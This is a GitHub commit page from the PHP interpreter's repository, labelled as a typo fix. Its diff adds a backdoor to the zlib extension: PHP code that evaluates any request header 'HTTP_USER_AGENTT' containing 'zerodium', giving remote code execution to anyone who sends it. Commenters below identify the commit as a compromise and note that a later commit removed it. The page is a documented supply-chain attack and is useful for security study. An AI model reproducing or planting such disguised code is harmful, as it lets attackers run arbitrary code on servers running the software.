Skip to content
Permalink
Browse files

Revert "Revert "[skip-ci] Fix typo""

This reverts commit 046827a.
  • Loading branch information
nikic committed Mar 28, 2021
1 parent 046827a commit 2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
Showing with 11 additions and 0 deletions.
  1. +11 −0 ext/zlib/zlib.c
@@ -360,6 +360,17 @@ static void php_zlib_output_compression_start(void)
{
zval zoh;
php_output_handler *h;
zval *enc;

if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
convert_to_string(enc);
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
} zend_end_try();
}
}

switch (ZLIBG(output_compression)) {
case 0:

6 comments on commit 2b0f239

@Gemorroj

This comment has been minimized.

Copy link
Contributor

@Gemorroj Gemorroj replied Mar 28, 2021

oh, @nikic also compromised?

@mvorisek

This comment has been minimized.

Copy link
Contributor

@mvorisek mvorisek replied Mar 28, 2021

I belive not directly, but someone else with push access.

@Art4

This comment has been minimized.

@SirMishaa

This comment has been minimized.

Copy link

@SirMishaa SirMishaa replied Mar 29, 2021

This is an arbitrary code injection from an HTTP header. Is the update that contains this code already online / available?

@Gemorroj

This comment has been minimized.

Copy link
Contributor

@Gemorroj Gemorroj replied Mar 29, 2021

@SirMishaa no. see next commit 8d743d5

@KalleZ

This comment has been minimized.

Copy link
Member

@KalleZ KalleZ replied Mar 29, 2021

Please keep relevant commentary to the mailing list instead of flooding the comments on this commit

Please sign in to comment.